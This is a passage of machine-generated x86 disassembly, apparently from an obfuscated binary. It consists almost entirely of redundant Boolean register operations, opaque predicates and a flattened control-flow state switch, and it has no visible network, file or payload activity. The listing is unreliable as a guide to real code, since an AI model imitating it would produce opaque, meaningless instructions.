or dh, bh
mov bh, byte [ebp - 0xa90]
or al, cl
xor dh, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0xa9b], al
mov al, 1
xor al, 0
and bh, al
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, al
mov al, byte [ebp - 0xa9b]
or al, bh
mov bh, byte [ebp - 0xa90]
or cl, dh
mov dh, byte [ebp - 0xa85]
xor al, cl
xor al, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xa99], al
mov bh, dh
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
mov dh, ah
and dh, al
mov byte [ebp - 0xa9a], dh
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, al
mov al, byte [ebp - 0xa9a]
or cl, al
mov al, byte [ebp - 0xa99]
or dh, bh
xor cl, dh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov byte [ebp - 0xa98], dh
mov cl, ch
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 0
or cl, bh
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, ch
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and ch, bl
or ah, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bh, cl
mov byte [ebp - 0xa8e], bh
mov bl, dh
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bl, dh
or cl, ah
xor bl, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or bh, dh
or cl, 0
xor bh, 0xff
and bh, cl
mov dh, ah
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov dh, 1
xor dh, 1
mov al, bl
xor al, dh
mov dh, byte [ebp - 0xa98]
and al, bl
mov byte [ebp - 0xa97], al
mov al, ah
xor al, 0xff
xor dh, al
mov al, byte [ebp - 0xa98]
and dh, al
mov al, byte [ebp - 0xa97]
mov byte [ebp - 0xa96], dh
mov dh, bh
and dh, cl
xor bh, cl
mov cl, byte [ebp - 0xa96]
or dh, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xa92], bh
xor cl, 0xff
mov byte [ebp - 0xa93], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xa91], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0xa96]
mov byte [ebp - 0xa95], al
mov al, byte [ebp - 0xa93]
and al, 0
mov byte [ebp - 0xa94], al
mov al, byte [ebp - 0xa91]
and cl, al
mov al, byte [ebp - 0xa95]
or bh, al
mov al, byte [ebp - 0xa94]
or al, cl
mov cl, byte [ebp - 0xa93]
xor bh, al
mov al, byte [ebp - 0xa92]
or al, cl
mov cl, byte [ebp - 0xa91]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0xa90]
or bh, al
mov byte [ebp - 0xa8f], bh
mov al, dh
xor al, 0xff
and bh, al
mov al, byte [ebp - 0xa8f]
xor al, 0xff
and dh, al
mov al, byte [ebp - 0xa8e]
or bh, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor al, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or al, dh
or ah, 1
xor al, 0xff
and al, ah
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xa8b], ah
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and bh, dh
mov byte [ebp - 0xa8d], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xa8c], al
mov al, byte [ebp - 0xa8d]
or ah, al
mov al, byte [ebp - 0xa8c]
or bh, al
mov al, byte [ebp - 0xa8b]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
mov bh, ch
and bh, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov al, ah
xor al, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or al, bl
or dh, 0
xor al, 0xff
and al, dh
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ah, bl
or dh, ah
xor ch, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or ch, dh
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, cl
xor al, 0xff
mov bh, dl
xor bh, al
and bh, dl
mov bl, dl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and dl, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or bl, dl
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, dh
or al, ch
xor cl, al
mov bl, 1
xor bl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov ch, cl
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
mov ch, 1
xor ch, 0
mov bh, dl
xor bh, ch
and bh, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0xa88], cl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
and bl, ch
mov byte [ebp - 0xa8a], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xa89], al
mov al, byte [ebp - 0xa8a]
or cl, al
mov al, byte [ebp - 0xa89]
or bl, al
mov al, byte [ebp - 0xa88]
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ch
and dl, 0
and bh, dh
mov byte [ebp - 0xa87], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xa86], al
mov al, byte [ebp - 0xa87]
or dl, al
mov al, byte [ebp - 0xa86]
or bh, al
mov al, byte [ebp - 0xa85]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or dl, ch
mov ch, cl
xor ch, 0xff
mov dh, dl
and dh, ch
xor dl, 0xff
and cl, dl
or dh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov byte [ebp - 0xa7e], cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov byte [ebp - 0xa7c], bh
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov byte [ebp - 0xa7a], bl
mov dl, 1
xor dl, 0
mov al, cl
xor al, dl
and al, cl
mov cl, 1
xor cl, 0
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, dl
mov dl, byte [ebp - 0xa85]
and ch, bh
mov byte [ebp - 0xa81], ch
xor dl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or dl, bl
or ch, 1
xor dl, 0xff
and dl, ch
mov byte [ebp - 0xa82], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dl
and ch, 0xff
and al, bl
mov byte [ebp - 0xa84], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xa83], al
mov al, byte [ebp - 0xa84]
and cl, bl
or ch, al
mov al, byte [ebp - 0xa83]
or al, cl
mov cl, byte [ebp - 0xa82]
xor ch, al
mov al, byte [ebp - 0xa81]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or ch, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xa7d], bl
mov bh, 1
xor bh, 0
mov bl, dl
and bl, 0
and al, bh
mov byte [ebp - 0xa80], al
mov al, byte [ebp - 0xa7d]
and al, 0
mov byte [ebp - 0xa7f], al
mov al, byte [ebp - 0xa80]
and cl, bh
or bl, al
mov al, byte [ebp - 0xa7f]
or al, cl
mov cl, byte [ebp - 0xa7e]
xor bl, al
mov al, byte [ebp - 0xa7d]
or dl, al
mov al, byte [ebp - 0xa7c]
xor dl, 0xff
or bh, 0
and dl, bh
or bl, dl
mov bh, ch
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and ch, bl
or dl, ch
mov byte [ebp - 0xa74], dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov bh, dl
and bh, 0xff
mov byte [ebp - 0xa7b], bh
and cl, ch
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0xa79], al
mov al, byte [ebp - 0xa7b]
or al, cl
mov cl, byte [ebp - 0xa7a]
mov byte [ebp - 0xa78], al
mov al, byte [ebp - 0xa79]
or bh, al
mov al, byte [ebp - 0xa78]
xor al, bh
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or al, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov dl, 1
xor dl, 0
mov byte [ebp - 0xa75], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
mov al, ch
and al, 0
mov byte [ebp - 0xa77], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xa76], al
mov al, byte [ebp - 0xa77]
and cl, ch
or dl, al
mov al, byte [ebp - 0xa76]
or al, cl
mov cl, byte [ebp - 0xa75]
xor dl, al
mov al, byte [ebp - 0xa74]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xa73], ch
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and al, cl
mov bl, dl
and bl, 0xff
and bh, cl
or ch, al
mov al, byte [ebp - 0xa73]
or bl, bh
xor ch, bl
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ch
or cl, dl
xor bl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ch
or cl, dl
xor bh, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xa72], dl
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov dh, ch
and dh, 0xff
and bl, cl
or dl, al
mov al, byte [ebp - 0xa72]
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0xa71], cl
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and cl, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0xa71]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov byte [ebp - 0xa6d], cl
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov dl, ch
and dl, dh
or al, dl
mov byte [ebp - 0xa6e], al
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or bh, bl
or dl, dh
xor bh, dl
mov dh, 1
xor dh, 1
mov dl, cl
xor dl, dh
and dl, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, dl
and ah, 0
and al, dh
mov byte [ebp - 0xa70], al
mov al, bl
and al, 0
mov byte [ebp - 0xa6f], al
mov al, byte [ebp - 0xa70]
and cl, dh
or ah, al
mov al, byte [ebp - 0xa6f]
or al, cl
mov cl, byte [ebp - 0xa6e]
xor ah, al
mov al, byte [ebp - 0xa6d]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or bl, ch
or dl, ah
xor bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xa6c], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xa6c]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc8ee4d7
mov ecx, 0x895a01a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0xb0]
movzx ecx, word [eax]
mov eax, dword [ebp - 0xb4]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xa9], al
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
mov edx, ecx
sub edx, 0x2370e18c
sub edx, 0x9c5f75e8
add edx, 0x2370e18c
add edx, 0x80d446da
sub edx, 0xdb15b084
sub edx, 0x80d446da
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x9c5f75e8
add esi, edx
xor edx, edx
sub edx, esi
mov esi, 0x254760a4
add esi, 0
sub esi, 1
sub esi, 0x254760a4
sub edx, 0x4a47a31e
add edx, esi
add edx, 0x4a47a31e
sub edx, 0x9a4a3daf
add edx, 0x77275c37
add edx, 0x9a4a3daf
sub edx, 0x33a6c1da
add edx, 0xdb15b084
add edx, 0x33a6c1da
sub edx, 0x83d6ee5e
sub edx, 0x77275c37
add edx, 0x83d6ee5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0xac5], dl
cmp eax, 0xa
setl al
mov byte [ebp - 0xac1], al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor dl, 0xff
mov ch, ah
xor ch, 0xff
mov al, 1
xor al, 1
or dl, ch
or al, 1
xor dl, 0xff
and dl, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov ch, 1
xor ch, 1
mov bh, al
xor bh, ch
and bh, al
mov bl, 1
xor bl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
mov bh, byte [ebp - 0xac1]
or dh, bl
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, bh
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xac5]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0xaae], cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0xaa9], cl
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, bl
or dl, ch
xor ah, dl
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov ch, dh
and ch, bh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bh
or bl, ch
or dl, ah
xor bl, dl
xor bl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov byte [ebp - 0xac2], cl
mov cl, bh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
mov ch, cl
and ch, 0xff
and bh, dl
mov byte [ebp - 0xac4], bh
mov bh, ah
and bh, 0xff
and al, dl
mov byte [ebp - 0xac3], al
mov al, byte [ebp - 0xac4]
or ch, al
mov al, byte [ebp - 0xac3]
or bh, al
mov al, byte [ebp - 0xac2]
xor ch, bh
mov bh, byte [ebp - 0xaae]
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or ch, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, 1
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and bh, cl
mov ch, al
xor ch, 0xff
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0xac1]
or ah, bh
mov bh, byte [ebp - 0xaae]
or ch, al
mov al, byte [ebp - 0xaa9]
xor ah, ch
xor ah, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xab9], ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0xac0], al
mov al, 1
xor al, 1
mov bh, cl
and bh, al
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, al
mov al, byte [ebp - 0xac0]
or al, bh
or ah, ch
xor al, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or al, cl
mov byte [ebp - 0xabc], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
mov ch, byte [ebp - 0xabc]
or al, cl
xor ah, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0xabf], al
xor ch, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or ch, cl
mov cl, byte [ebp - 0xabf]
or al, 1
xor ch, 0xff
and ch, al
xor cl, 0xff
mov al, bl
xor al, cl
mov cl, byte [ebp - 0xabf]
and al, bl
mov byte [ebp - 0xabe], al
mov bl, 1
xor bl, 1
mov al, ah
xor al, bl
and al, ah
mov byte [ebp - 0xabd], al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
mov al, byte [ebp - 0xabe]
and bl, dl
mov dl, ch
and dl, al
xor ch, al
mov al, byte [ebp - 0xabd]
or dl, ch
mov ch, al
and ch, bl
xor al, bl
or ch, al
mov al, dl
xor al, 0xff
mov bl, ch
and bl, al
mov al, byte [ebp - 0xabc]
xor ch, 0xff
and dl, ch
or bl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov dl, cl
and dl, 1
xor cl, 1
or dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov dl, bl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bl, ah
mov byte [ebp - 0xabb], bl
mov bl, ch
and bl, 0
and al, ah
mov byte [ebp - 0xaba], al
mov al, byte [ebp - 0xabb]
or cl, al
mov al, byte [ebp - 0xaba]
or bl, al
mov al, byte [ebp - 0xab9]
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0xab0], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, ah
or al, cl
xor ch, al
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov al, dl
xor al, 0xff
mov cl, 1
xor cl, 0
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0xab9]
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0xab8], al
mov bl, ah
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov byte [ebp - 0xab7], al
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
mov bl, 1
xor bl, 1
or cl, al
mov al, byte [ebp - 0xab8]
or bl, 1
xor cl, 0xff
and cl, bl
mov byte [ebp - 0xab1], cl
mov cl, ah
xor cl, 0xff
mov bl, bh
xor bl, cl
mov cl, byte [ebp - 0xab7]
and bl, bh
mov byte [ebp - 0xab4], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0xab3], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xab2], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0xab7]
mov byte [ebp - 0xab6], al
mov al, byte [ebp - 0xab3]
and al, 0xff
mov byte [ebp - 0xab5], al
mov al, byte [ebp - 0xab2]
and cl, al
mov al, byte [ebp - 0xab6]
or bl, al
mov al, byte [ebp - 0xab5]
or al, cl
mov cl, byte [ebp - 0xab4]
xor bl, al
mov al, byte [ebp - 0xab3]
or bh, al
mov al, byte [ebp - 0xab2]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0xab1]
or bl, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, bl
xor al, 0xff
mov cl, bh
and cl, al
mov al, byte [ebp - 0xab0]
xor bh, 0xff
and bl, bh
or cl, bl
mov bh, dl
and bh, ch
xor dl, ch
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dl, bh
or ch, bl
xor dl, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov bh, ah
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, bh
or dl, ah
xor ch, dl
mov ah, ch
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
mov al, bl
and al, bh
or ah, al
mov bh, 1
xor bh, 1
mov al, ah
xor al, bh
and al, ah
xor bl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or bl, ch
or ah, 1
xor bl, 0xff
and bl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xaaf], dl
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov bh, ch
and bh, 0xff
and bl, cl
or dl, al
mov al, byte [ebp - 0xaaf]
or bh, bl
mov bl, byte [ebp - 0xaae]
xor dl, bh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xaa0], al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov byte [ebp - 0xaab], ch
mov ah, bl
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov dl, bl
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dl
